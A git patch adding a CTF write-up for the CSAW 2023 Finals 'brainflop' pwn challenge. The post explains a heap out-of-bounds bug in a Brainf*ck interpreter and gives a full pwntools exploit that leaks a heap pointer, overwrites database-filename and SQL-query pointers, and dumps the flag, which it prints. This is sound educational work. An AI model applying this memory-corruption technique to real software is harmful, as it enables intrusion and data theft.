From a297f7070e88bf660aef5ecf09d4097f6bc60a1f Mon Sep 17 00:00:00 2001 From: Alexander Zhang Date: Sat, 30 Dec 2023 23:21:30 -0800 Subject: [PATCH] Add CSAW CTF 2023 Finals brainflop write-up --- _posts/2023-12-30-csaw-brainflop.md | 888 ++++++++++++++++++++++++++++ 1 file changed, 888 insertions(+) create mode 100644 _posts/2023-12-30-csaw-brainflop.md diff --git a/_posts/2023-12-30-csaw-brainflop.md b/_posts/2023-12-30-csaw-brainflop.md new file mode 100644 index 0000000..de39fe7 --- /dev/null +++ b/_posts/2023-12-30-csaw-brainflop.md @@ -0,0 +1,888 @@ +--- +layout: post +title: brainflop | CSAW CTF 2023 Finals +description: Pwning a Brainf*ck interpreter +author: Alexander Zhang +tags: pwn +--- + +This write-up is also posted on my website at . + +## The Challenge + +> You're invited to the closed beta of our new esoteric cloud programming environment, BRAINFLOP! +> +> Author: ex0dus (ToB) + +We're given a binary and 300+ lines of C++ source code: + +```c++ +// clang++ -std=c++17 -O0 -g -Werror -fvisibility=hidden -flto +// -fsanitize=cfi-mfcall challenge.cpp -lsqlite3 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#define LOOP_DEPTH_MAX 50 + +static const char *db_path = "actual.db"; +static const char *sql_select = "SELECT TIMESTAMP, TAPESTATE FROM brainflop;"; +static const char *sql_insert = + "INSERT INTO brainflop (TASKID, TIMESTAMP, TAPESTATE) VALUES(?, ?, ?);"; + +bool parseYesOrNo(const std::string &message); +std::optional parseNumericInput(void); + +class BFTask { +public: + BFTask(int id, unsigned short tapeSize, bool doBackup) + : _id(id), tape(tapeSize, 0), sql_query(sql_select), + instructionPointer(0), dataPointer(0), doBackup(doBackup) {} + + ~BFTask() { + if (doBackup) + performBackup(); + + tape.clear(); + if (_sqlite3ErrMsg) + sqlite3_free(_sqlite3ErrMsg); + if (db) + sqlite3_close(db); + } + + void run(const std::string &program, bool deletePreviousState) { + if (deletePreviousState) { + tape.clear(); + loopStack.clear(); + instructionPointer = 0; + dataPointer = 0; + } + + while (instructionPointer < program.length()) { + char command = program[instructionPointer]; + switch (command) { + case '>': + incrementDataPointer(); + break; + case '<': + decrementDataPointer(); + break; + case '+': + incrementCellValue(); + break; + case '-': + decrementCellValue(); + break; + case '.': + outputCellValue(); + break; + case ',': + inputCellValue(); + break; + case '[': + if (getCellValue() == 0) { + size_t loopDepth = 1; + while (loopDepth > 0) { + if (loopDepth == LOOP_DEPTH_MAX) + throw std::runtime_error("nested loop depth exceeded."); + + instructionPointer++; + if (program[instructionPointer] == '[') { + loopDepth++; + } else if (program[instructionPointer] == ']') { + loopDepth--; + } + } + } else { + loopStack.push_back(instructionPointer); + } + break; + case ']': + if (getCellValue() != 0) { + instructionPointer = loopStack.back() - 1; + } else { + loopStack.pop_back(); + } + break; + default: + break; + } + instructionPointer++; + } + } + +private: + int _id; + + // TODO: delete me! + //std::string debug_db_path = "todo_delete_this.db"; + + sqlite3 *db; + char *_sqlite3ErrMsg = 0; + const std::string sql_query; + + bool doBackup; + const char *db_file = db_path; + + std::vector tape; + std::list loopStack; + + size_t instructionPointer; + int dataPointer; + + /* ============== backup to sqlite3 ============== */ + + static int _backup_callback(void *data, int argc, char **argv, + char **azColName) { + for (int i = 0; i < argc; i++) { + std::cout << azColName[i] << " = " << (argv[i] ? argv[i] : "NULL") + << "\n"; + } + std::cout << std::endl; + return 0; + } + + void performBackup(void) { + sqlite3_stmt *stmt; + std::string tape_str; + + std::cout << "Performing backup for task " << _id << std::endl; + + time_t tm = time(NULL); + struct tm *current_time = localtime(&tm); + char *timestamp = asctime(current_time); + + // create the table if it doesn't exist + if (sqlite3_open(db_file, &db)) + throw std::runtime_error(std::string("sqlite3_open: ") + + sqlite3_errmsg(db)); + + std::string prepare_table_stmt = "CREATE TABLE IF NOT EXISTS brainflop(" + "ID INT PRIMARY KEY," + "TASKID INT," + "TIMESTAMP TEXT," + "TAPESTATE TEXT" + " );"; + + if (sqlite3_exec(db, prepare_table_stmt.c_str(), NULL, 0, + &_sqlite3ErrMsg) != SQLITE_OK) + throw std::runtime_error(std::string("sqlite3_exec: ") + _sqlite3ErrMsg); + + // insert into database + if (sqlite3_prepare_v2(db, sql_insert, -1, &stmt, NULL) != SQLITE_OK) + throw std::runtime_error(std::string("sqlite3_prepare_v2: ") + + sqlite3_errmsg(db)); + + tape_str.push_back('|'); + for (auto i : tape) { + tape_str += std::to_string(int(i)); + tape_str.push_back('|'); + } + + sqlite3_bind_int(stmt, 1, _id); + sqlite3_bind_text(stmt, 2, timestamp, -1, SQLITE_STATIC); + sqlite3_bind_text(stmt, 3, tape_str.c_str(), -1, SQLITE_STATIC); + + if (sqlite3_step(stmt) != SQLITE_DONE) + throw std::runtime_error(std::string("sqlite3_step: ") + + sqlite3_errmsg(db)); + + sqlite3_finalize(stmt); + + // display contents + if (sqlite3_exec(db, sql_query.c_str(), _backup_callback, 0, + &_sqlite3ErrMsg) != SQLITE_OK) + throw std::runtime_error(std::string("sqlite3_exec: ") + _sqlite3ErrMsg); + } + + /* ============== brainflop operations ============== */ + + void incrementDataPointer() { dataPointer++; } + + void decrementDataPointer() { dataPointer--; } + + void incrementCellValue() { tape[dataPointer]++; } + + void decrementCellValue() { tape[dataPointer]--; } + + void outputCellValue() { std::cout.put(tape[dataPointer]); } + + void inputCellValue() { + char inputChar; + std::cin.ignore(std::numeric_limits::max(), '\n'); + std::cin.get(inputChar); + tape[dataPointer] = inputChar; + } + + unsigned char getCellValue() const { return tape[dataPointer]; } +}; + +void runNewTrial(int id, std::map &task_map) { + unsigned short tapeSize; + bool doBackup; + std::string program; + + tapeSize = 20; + doBackup = + parseYesOrNo("[>] Should BRAINFLOP SQL backup mode be enabled (y/n) ? "); + + std::cout + << "[>] Enter BRAINFLOP program (Enter to finish input and start run): "; + std::cin >> program; + + BFTask *task = new BFTask(id, tapeSize, doBackup); + task->run(program, false); + task_map.insert(std::pair(id, task)); +} + +void runOnPreviousTrial(int id, std::map &task_map) { + bool deletePreviousState; + std::string program; + + BFTask *task = task_map.at(id); + if (!task) { + throw std::runtime_error("cannot match ID in task mapping"); + } + + deletePreviousState = parseYesOrNo( + "[*] Should the previous BRAINFLOP tape state be deleted (y/n) ? "); + + std::cout + << "[>] Enter BRAINFLOP program (Enter to finish input and start run): "; + std::cin >> program; + + task->run(program, deletePreviousState); +} + +bool parseYesOrNo(const std::string &message) { + char userAnswer; + do { + std::cout << message; + std::cin >> userAnswer; + } while (!std::cin.fail() && userAnswer != 'y' && userAnswer != 'n'); + + if (userAnswer == 'y') + return true; + + return false; +} + +std::optional parseNumericInput(void) { + int number; + try { + if (!(std::cin >> number)) { + // Input error or EOF (Ctrl+D) + if (std::cin.eof()) { + std::cout << "EOF detected. Exiting." << std::endl; + exit(-1); + } else { + // Clear the error state and ignore the rest of the line + std::cin.clear(); + std::cin.ignore(std::numeric_limits::max(), '\n'); + std::cerr << "Invalid input. Please enter an integer." << std::endl; + return {}; + } + } + } catch (const std::exception &e) { + std::cerr << "An error occurred: " << e.what() << std::endl; + return {}; + } + return number; +} + +int main() { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + int id_counter = 1; + int free_trial_left = 3; + std::map task_mapping; + + while (true) { + std::cout << "\n\n[*] WHAT WOULD YOU LIKE TO DO?\n" + << " (1) Execute a BRAINFLOP VM (" << free_trial_left + << " free trials left).\n" + << " (2) Open an existing BRAINFLOP VM.\n" + << " (3) Goodbye.\n" + << ">> "; + + if (auto in = parseNumericInput()) { + switch (*in) { + case 1: + if (free_trial_left == 0) { + std::cerr << "[!] NO MORE VMS FOR YOU!!\n"; + break; + } + runNewTrial(id_counter, task_mapping); + + id_counter++; + free_trial_left--; + break; + + case 2: + std::cout << "[*] Enter node ID number >> "; + if (auto id = parseNumericInput()) { + if (*id > free_trial_left || *id <= 0) { + std::cerr << "[!] INVALID NODE ID!!\n"; + break; + } + runOnPreviousTrial(*id, task_mapping); + } + break; + + case 3: + std::cout << "Goodbye!\n"; + goto finalize; + + default: + break; + } + } + } + +finalize: + + // free task map items + for (auto const &[id, task] : task_mapping) { + task->~BFTask(); + } + return 0; +} +``` + +The complexity made the challenge seem intimidating at first. +There's a lot of code, [SQLite](https://www.sqlite.org/index.html) is involved, and the comment at the beginning indicates that the binary was compiled with a [Clang CFI](https://clang.llvm.org/docs/ControlFlowIntegrity.html) option that detects "Indirect call via a member function pointer with wrong dynamic type." +The program implements an interpreter for the [Brainf\*ck](https://en.wikipedia.org/wiki/Brainfuck) esoteric language in the `BFTask` class. +Users can create Brainf\*ck VMs, execute programs in them, and back up their state into an SQLite database in a file named `actual.db`. +A comment suggests that there is a secret database file named `todo_delete_this.db` that we should try to read: + +```c++ +// TODO: delete me! +//std::string debug_db_path = "todo_delete_this.db"; +``` + +## Vulnerability + +Brainf\*ck programs operate on a "tape" consisting of an array of bytes. +The tape is accessed through a "tape pointer" which points to one of the bytes and can be moved left or right. +In the code, there's nothing preventing the tape pointer (called `dataPointer`) from going past the ends of the tape. +The tape is stored on the heap in an `std::vector`, so we can leak or overwrite other data in the heap. +I also noticed some other bugs such as the code reading and writing to the tape after calling `tape.clear()`, but we didn't need them for our solution. + +Our goal is to leak the `todo_delete_this.db` database, and the `BFTask::performBackup` function has code that will display the contents of the backup database. +If we can change the file name of the backup database, then we can get the function to print out `todo_delete_this.db` instead. +The name of the backup database file is stored in a string literal which can't be overwritten, but each `BFTask` instance has its own `db_file` member pointing to the string: + +```c++ +static const char *db_path = "actual.db"; +//... +class BFTask { + //... + const char *db_file = db_path; + //... +} +``` + +Since the `BFTask` objects are allocated on the heap, we can overwrite the `db_file` pointer in one of them to make it point to the secret database file name. +We need to have the string `todo_delete_this.db` at a known address, which can be achieved by putting it on the heap and leaking a heap address. + +## Exploitation + +### Heap leak + +I created a `BFTask` and then looked for heap pointers near the tape, but I couldn't find any. +I figured that if I cause some more heap operations then they might leave a heap poiner around, so I made the `BFTask` execute a long program first and then examined the heap near the tape. +This time, I found a heap pointer 0x48 bytes after the start of the tape: + +
gef➤  b BFTask::run
+Breakpoint 1 at 0x55f65411da6f
+gef➤  c
+Continuing.
+...
+BFTask::run (this=0x55f654799330, program=..., deletePreviousState=0x1)
+    at challenge.cpp:52
+52      while (instructionPointer < program.length()) {
+
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────── registers ────
+$rax   : 0x000055f654799330  →  0x0000000500000001
+$rbx   : 0x00007ffc3928a2580x00007ffc3928a553"/home/alex/brainflop/chal/challenge_patched"
+$rcx   : 0x000055f6547993900x000055f654799390  →  [loop detected]
+$rdx   : 0x000055f654799500  →  0x0000000000000000
+$rsp   : 0x00007ffc39289f40  →  0x01007ffc39289f90
+$rbp   : 0x00007ffc39289f900x00007ffc3928a0500x00007ffc3928a140  →  0x0000000000000001
+$rsi   : 0x000055f654799514  →  0x0000004100000000
+$rdi   : 0x000055f6547993900x000055f654799390  →  [loop detected]
+$rip   : 0x000055f65411daa5 jmp 0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+$r8    : 0x000055f654787010  →  0x0001000000010000
+$r9    : 0x7               
+$r10   : 0x000055f6547992b0  →  0x000000055f654799
+$r11   : 0x246             
+$r12   : 0x0               
+$r13   : 0x00007ffc3928a2680x00007ffc3928a57f"SHELL=/bin/bash"
+$r14   : 0x000055f654125d580x000055f65411d570 endbr64 
+$r15   : 0x00007fabe5702000  →  0x00007fabe57032d0  →  0x000055f65411a000 jg 0x55f65411a047
+$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
+$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
+───────────────────────────────────────────────────────────────────── stack ────
+0x00007ffc39289f40│+0x0000: 0x01007ffc39289f90  ← $rsp
+0x00007ffc39289f48│+0x0008: 0x010055f654122109
+0x00007ffc39289f50│+0x0010: 0x00007fabe5469da0  →  0x0000000000000002
+0x00007ffc39289f58│+0x0018: 0x000055f654799330  →  0x0000000500000001
+0x00007ffc39289f60│+0x0020: 0x00007ffc3928a2680x00007ffc3928a57f"SHELL=/bin/bash"
+0x00007ffc39289f68│+0x0028: 0x00007ffc3928a2580x00007ffc3928a553"/home/alex/brainflop/chal/challenge_patched"
+0x00007ffc39289f70│+0x0030: 0x00007ffc3928a0500x00007ffc3928a140  →  0x0000000000000001
+0x00007ffc39289f78│+0x0038: 0x0100000000000000
+─────────────────────────────────────────────────────────────── code:x86:64 ────
+   0x55f65411da8f                  mov    rax, QWORD PTR [rbp-0x38]
+   0x55f65411da93                  mov    QWORD PTR [rax+0x78], 0x0
+   0x55f65411da9b                  mov    DWORD PTR [rax+0x80], 0x0
+ → 0x55f65411daa5                  jmp    0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+   0x55f65411daa7                  mov    rax, QWORD PTR [rbp-0x38]
+   0x55f65411daab                  mov    rax, QWORD PTR [rax+0x78]
+   0x55f65411daaf                  mov    QWORD PTR [rbp-0x40], rax
+   0x55f65411dab3                  mov    rdi, QWORD PTR [rbp-0x10]
+   0x55f65411dab7                  call   0x55f65411d3d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
+─────────────────────────────────────────────────── source:challenge.cpp+52 ────
+     47        loopStack.clear();
+     48        instructionPointer = 0;
+     49        dataPointer = 0;
+     50      }
+     51  
+ →   52         while (instructionPointer < program.length()) {
+     53        char command = program[instructionPointer];
+     54        switch (command) {
+     55        case '>':
+     56          incrementDataPointer();
+     57          break;
+─────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "challenge_patch", stopped 0x55f65411daa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
+───────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x55f65411daa5 → BFTask::run(this=0x55f654799330, program=@0x7ffc39289ff8, deletePreviousState=0x1)
+[#1] 0x55f65412018a → runOnPreviousTrial(id=0x1, task_map=@0x7ffc3928a100)
+[#2] 0x55f654120843 → main()
+────────────────────────────────────────────────────────────────────────────────
+gef➤  deref tape._M_impl._M_start
+0x000055f654799500│+0x0000: 0x0000000000000000  ← $rdx
+0x000055f654799508│+0x0008: 0x0000000000000000
+0x000055f654799510│+0x0010: 0x0000000000000000
+0x000055f654799518│+0x0018: 0x0000000000000041 ("A"?)
+0x000055f654799520│+0x0020: 0x0000000000000001
+0x000055f654799528│+0x0028: 0x00007ffc3928a108  →  0x00007fab00000000
+0x000055f654799530│+0x0030: 0x0000000000000000
+0x000055f654799538│+0x0038: 0x0000000000000000
+0x000055f654799540│+0x0040: 0x0000000000000001
+0x000055f654799548│+0x0048: 0x000055f654799330  →  0x0000000500000001
+
+ +I wrote a script with a Brainf\*ck program that prints the pointer out: + +```python +#!/usr/bin/env python3 + +from pwn import * + +exe = ELF("./challenge_patched") +libc = ELF("./libc.so.6") +ld = ELF("./ld-2.38.so") + +context.binary = exe + +if args.REMOTE: + r = remote("pwn.csaw.io", 9999) +else: + r = process([exe.path]) + if args.GDB: + gdb.attach(r) + +# Cause some heap allocations for leaking heap address +r.sendlineafter(b'>> ', b'1') # Create new VM +r.sendlineafter(b' ? ', b'n') # Disable backups +r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations + +# Leak heap address +r.sendlineafter(b'>> ', b'2') # Reuse existing VM +r.sendlineafter(b'>> ', b'1') # VM index +r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why) +r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer +leek = u64(r.recv(8)) +log.info(f'{hex(leek)=}') +``` + +Now we have a heap leak: + +
[alex@ctf chal]$ ./solve.py
+...
+[+] Starting local process '/home/alex/brainflop/chal/challenge_patched': pid 2257
+[*] hex(leek)='0x5633f3846330'
+
+ +### Overwriting the database file name + +I used GDB to find the offset from the tape to the database file name pointer: + +
gef➤  b BFTask::run
+Breakpoint 1 at 0x563e44046a6f
+gef➤  c
+Continuing.
+...
+BFTask::run (this=0x563e44eec560, program=..., deletePreviousState=0x0)
+    at challenge.cpp:52
+52      while (instructionPointer < program.length()) {
+
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────── registers ────
+$rax   : 0x0000563e44eec560  →  0x0000000500000002
+$rbx   : 0x00007ffc3cd4e0a80x00007ffc3cd4e553"/home/alex/brainflop/chal/challenge_patched"
+$rcx   : 0x0000563e44eecc04  →  0x0000345100000000
+$rdx   : 0x0               
+$rsp   : 0x00007ffc3cd4dd60  →  0x00000002001401b0
+$rbp   : 0x00007ffc3cd4ddb00x00007ffc3cd4dea00x00007ffc3cd4df90  →  0x0000000000000001
+$rsi   : 0x00007ffc3cd4de480x0000563e44ef0060"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[...]"
+$rdi   : 0x0000563e44eec560  →  0x0000000500000002
+$rip   : 0x0000563e44046aa5 jmp 0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+$r8    : 0xffffffffffffffa0
+$r9    : 0x20              
+$r10   : 0x0000563e44ef0050  →  0x0000000000003450 ("P4"?)
+$r11   : 0x40              
+$r12   : 0x0               
+$r13   : 0x00007ffc3cd4e0b80x00007ffc3cd4e57f"SHELL=/bin/bash"
+$r14   : 0x0000563e4404ed580x0000563e44046570 endbr64 
+$r15   : 0x00007f9a70051000  →  0x00007f9a700522d0  →  0x0000563e44043000 jg 0x563e44043047
+$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
+$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
+───────────────────────────────────────────────────────────────────── stack ────
+0x00007ffc3cd4dd60│+0x0000: 0x00000002001401b0  ← $rsp
+0x00007ffc3cd4dd68│+0x0008: 0x0000563e44eec560  →  0x0000000500000002
+0x00007ffc3cd4dd70│+0x0010: 0x00007ffc3cd4dd60  →  0x00000002001401b0
+0x00007ffc3cd4dd78│+0x0018: 0x0000563e44eec560  →  0x0000000500000002
+0x00007ffc3cd4dd80│+0x0020: 0x00007ffc3cd4e0b80x00007ffc3cd4e57f"SHELL=/bin/bash"
+0x00007ffc3cd4dd88│+0x0028: 0x00007ffc3cd4dd50  →  0x0000000000002710
+0x00007ffc3cd4dd90│+0x0030: 0x00007ffc3cd4dd50  →  0x0000000000002710
+0x00007ffc3cd4dd98│+0x0038: 0x00007ffc3cd4dea00x00007ffc3cd4df90  →  0x0000000000000001
+─────────────────────────────────────────────────────────────── code:x86:64 ────
+   0x563e44046a8f                  mov    rax, QWORD PTR [rbp-0x38]
+   0x563e44046a93                  mov    QWORD PTR [rax+0x78], 0x0
+   0x563e44046a9b                  mov    DWORD PTR [rax+0x80], 0x0
+ → 0x563e44046aa5                  jmp    0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
+   0x563e44046aa7                  mov    rax, QWORD PTR [rbp-0x38]
+   0x563e44046aab                  mov    rax, QWORD PTR [rax+0x78]
+   0x563e44046aaf                  mov    QWORD PTR [rbp-0x40], rax
+   0x563e44046ab3                  mov    rdi, QWORD PTR [rbp-0x10]
+   0x563e44046ab7                  call   0x563e440463d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
+─────────────────────────────────────────────────── source:challenge.cpp+52 ────
+     47        loopStack.clear();
+     48        instructionPointer = 0;
+     49        dataPointer = 0;
+     50      }
+     51  
+ →   52         while (instructionPointer < program.length()) {
+     53        char command = program[instructionPointer];
+     54        switch (command) {
+     55        case '>':
+     56          incrementDataPointer();
+     57          break;
+─────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "challenge_patch", stopped 0x563e44046aa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
+───────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x563e44046aa5 → BFTask::run(this=0x563e44eec560, program=@0x7ffc3cd4de48, deletePreviousState=0x0)
+[#1] 0x563e440466af → runNewTrial(id=0x2, task_map=@0x7ffc3cd4df50)
+[#2] 0x563e440497a4 → main()
+────────────────────────────────────────────────────────────────────────────────
+gef➤  p (void*)tape._M_impl._M_start - (void*)&db_file
+$1 = 0x650
+
+ +I made a Brainf\*ck program to overwrite the pointer, and appended the string `todo_delete_this.db` to the end. +Then I used GEF's `grep` command to find the address of the string, and subtract the leaked heap address to find the offset that needs to be added. +Here's the resulting script: + +```python +# Overwrite database file name +r.sendlineafter(b'>> ', b'1') # Create new VM +r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped +pl = b'<' * 0x650 + b',>' * 8 + b'todo_delete_this.db\0' +# Pad to fixed size so heap layout doesn't change +assert len(pl) <= 10000 +pl = pl.ljust(10000, b'A') +r.sendlineafter(b'): ', pl) +# Send database file name address +for b in p64(leek + 0x1670): + r.sendline(bytes([b])) + +# Exit the program so that the backup will be performed +r.sendlineafter(b'>> ', b'3') + +r.interactive() +``` + +When I ran this locally, the program created a `todo_delete_this.db` file, which confirms that I overwrote the database file name correctly. +However, when I ran it on the server, the output did not contain a flag: + +
[alex@ctf chal]$ ./solve.py REMOTE
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/challenge_patched'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+    RUNPATH:  b'.'
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/libc.so.6'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    Canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[*] '/home/alex/brainflop/chal/ld-2.38.so'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[+] Opening connection to pwn.csaw.io on port 9999: Done
+[*] hex(leek)='0x555e886ee330'
+[*] Switching to interactive mode
+Goodbye!
+Performing backup for task 2
+TIMESTAMP = timestamp
+TAPESTATE = |
+
+TIMESTAMP = Sun Dec 31 00:46:27 2023
+
+TAPESTATE = |0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
+
+[*] Got EOF while reading in interactive
+$  
+
+ +### Finding the flag + +This was pretty disappointing and I got stuck here for a while. +Later, I figured that surely the `todo_delete_this.db` comment isn't just a red herring and the flag might be in a different table. +I noticed that each `BFTask` instance has its own copy of the SQL query command stored inside an `std::string`, so we can overwrite the pointer in a similar way to make it point to our own SQL command. +I modified the Brainf\*ck program to also overwrite the pointer to the SQL command, and [Aplet123](https://aplet.me/) gave me a query that lists the tables. +The SQL command had to not contain any spaces, since the Brainf\*ck program was read from `std::cin` using the `>>` operator, which doesn't read whitespace. +The script now looks like this: + +```python +# Overwrite database file name and SQL query +r.sendlineafter(b'>> ', b'1') # Create new VM +r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped +pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0' +# Pad to fixed size so heap layout doesn't change +assert len(pl) <= 10000 +pl = pl.ljust(10000, b'A') +r.sendlineafter(b'): ', pl) +# Send database file name address +for b in p64(leek + 0x16cd): + r.sendline(bytes([b])) +# Send SQL query address +for b in p64(leek + 0x25c0): + r.sendline(bytes([b])) + +# Exit the program so that the backup will be performed +r.sendlineafter(b'>> ', b'3') + +r.interactive() +``` + +When I ran it on remote, I got a bunch of output with the flag near the end: + +
[alex@ctf chal]$ ./solve.py REMOTE
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/challenge_patched'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+    RUNPATH:  b'.'
+[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
+[*] '/home/alex/brainflop/chal/libc.so.6'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    Canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[*] '/home/alex/brainflop/chal/ld-2.38.so'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      PIE enabled
+[+] Opening connection to pwn.csaw.io on port 9999: Done
+[*] hex(leek)='0x5557cfd4f330'
+[*] Switching to interactive mode
+Goodbye!
+Performing backup for task 2
+type = table
+name = brainflop
+tbl_name = brainflop
+rootpage = 2
+sql = CREATE TABLE brainflop(
+            ID                  INT PRIMARY KEY,
+            TASKID              INT NOT NULL,
+            TIMESTAMP           TEXT NOT NULL,
+            TAPESTATE           TEXT NOT NULL
+        )
+
+type = index
+name = sqlite_autoindex_brainflop_1
+tbl_name = brainflop
+rootpage = 3
+sql = NULL
+
+type = table
+name = pastablorf
+tbl_name = pastablorf
+rootpage = 4
+sql = CREATE TABLE pastablorf(DATA TEXT)
+
+type = table
+name = blamfogg
+tbl_name = blamfogg
+rootpage = 5
+sql = CREATE TABLE blamfogg(DATA TEXT)
+
+type = table
+name = qubblezop
+tbl_name = qubblezop
+rootpage = 6
+sql = CREATE TABLE qubblezop(DATA TEXT)
+
+type = table
+name = quasarquirk
+tbl_name = quasarquirk
+rootpage = 7
+sql = CREATE TABLE quasarquirk(DATA TEXT)
+
+type = table
+name = heartworp
+tbl_name = heartworp
+rootpage = 8
+sql = CREATE TABLE heartworp(DATA TEXT)
+
+type = table
+name = cuzarblonk
+tbl_name = cuzarblonk
+rootpage = 9
+sql = CREATE TABLE cuzarblonk(DATA TEXT)
+
+type = table
+name = flutterquap
+tbl_name = flutterquap
+rootpage = 10
+sql = CREATE TABLE flutterquap(DATA TEXT)
+
+type = table
+name = glrixatorb
+tbl_name = glrixatorb
+rootpage = 11
+sql = CREATE TABLE glrixatorb(DATA TEXT)
+
+type = table
+name = queezlepoff
+tbl_name = queezlepoff
+rootpage = 12
+sql = CREATE TABLE queezlepoff(DATA TEXT)
+
+type = table
+name = gazorpazorp
+tbl_name = gazorpazorp
+rootpage = 13
+sql = CREATE TABLE gazorpazorp(DATA TEXT)
+
+type = table
+name = nogglyblomp
+tbl_name = nogglyblomp
+rootpage = 14
+sql = CREATE TABLE nogglyblomp(DATA TEXT)
+
+type = trigger
+name = hide_corp_secrets
+tbl_name = brainflop
+rootpage = 0
+sql = CREATE TRIGGER hide_corp_secrets
+        AFTER INSERT ON brainflop
+        BEGIN 
+            UPDATE heartworp SET DATA = replace(DATA, "csawctf{ur_sup3r_d4ta_B4S3D!!}", "wowzers you're too late!");
+        END
+
+[*] Got EOF while reading in interactive
+$  
+
+ +Full solve script: + +```python +#!/usr/bin/env python3 + +from pwn import * + +exe = ELF("./challenge_patched") +libc = ELF("./libc.so.6") +ld = ELF("./ld-2.38.so") + +context.binary = exe + +if args.REMOTE: + r = remote("pwn.csaw.io", 9999) +else: + r = process([exe.path]) + if args.GDB: + gdb.attach(r) + +# Cause some heap allocations for leaking heap address +r.sendlineafter(b'>> ', b'1') # Create new VM +r.sendlineafter(b' ? ', b'n') # Disable backups +r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations + +# Leak heap address +r.sendlineafter(b'>> ', b'2') # Reuse existing VM +r.sendlineafter(b'>> ', b'1') # VM index +r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why) +r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer +leek = u64(r.recv(8)) +log.info(f'{hex(leek)=}') + +# Overwrite database file name and SQL query +r.sendlineafter(b'>> ', b'1') # Create new VM +r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped +pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0' +# Pad to fixed size so heap layout doesn't change +assert len(pl) <= 10000 +pl = pl.ljust(10000, b'A') +r.sendlineafter(b'): ', pl) +# Send database file name address +for b in p64(leek + 0x16cd): + r.sendline(bytes([b])) +# Send SQL query address +for b in p64(leek + 0x25c0): + r.sendline(bytes([b])) + +# Exit the program so that the backup will be performed +r.sendlineafter(b'>> ', b'3') + +r.interactive() +``` + +# Conclusion + +When I read the [challenge author's solution](https://github.com/osirislab/CSAW-CTF-2023-Finals/tree/main/pwn/brainflop#solution), I realized that we had solved this challenge in a way that was easier than intended. +The author did some heap feng shui to make overwriting the file name pointer possible, but I didn't need any of that. +Padding the program to a fixed size probably helped. +Also, it looks like we were supposed to do a bit of detective work to find the flag in the database after overwriting the SQL query. +The flag was in one of several tables with random names and it had been overwritten using an SQL trigger, but we just dumped the whole `sqlite_master` table which had the flag inside. +It looks like this challenge was intended to be as hard as it initially seemed, but we got a bit lucky.